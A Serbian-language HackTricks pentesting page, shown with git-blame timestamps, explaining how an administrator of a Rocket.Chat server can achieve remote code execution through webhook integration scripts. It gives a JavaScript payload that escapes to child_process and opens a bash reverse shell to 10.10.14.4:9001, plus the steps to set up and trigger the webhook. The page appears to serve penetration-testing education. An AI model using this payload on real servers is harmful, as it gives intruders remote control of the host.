hacktricks/network-services-pentesting/pentesting-web/rocket-chat.md

60 lines
3.7 KiB
Markdown
Raw Normal View History

# Rocket Chat
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:24:39 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## RCE
2024-02-10 13:11:20 +00:00
Ako ste admin unutar Rocket Chat-a, možete dobiti RCE.
2024-02-10 13:11:20 +00:00
* Idite na **`Integrations`** i izaberite **`New Integration`** i odaberite bilo koju: **`Incoming WebHook`** ili **`Outgoing WebHook`**.
* `/admin/integrations/incoming`
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
2024-02-10 13:11:20 +00:00
* Prema [dokumentaciji](https://docs.rocket.chat/guides/administration/admin-panel/integrations), oba koriste ES2015 / ECMAScript 6 ([u osnovi JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) za obradu podataka. Dakle, hajde da dobijemo [rev shell za javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) kao:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
2024-02-10 13:11:20 +00:00
* Konfigurišite WebHook (kanal i korisničko ime za objavu moraju postojati):
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
2024-02-10 13:11:20 +00:00
* Konfigurišite WebHook skriptu:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
2024-02-10 13:11:20 +00:00
* Sačuvajte promene
* Dobijte generisani WebHook URL:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
2024-02-10 13:11:20 +00:00
* Pozovite ga sa curl-om i trebali biste primiti rev shell
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:24:39 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>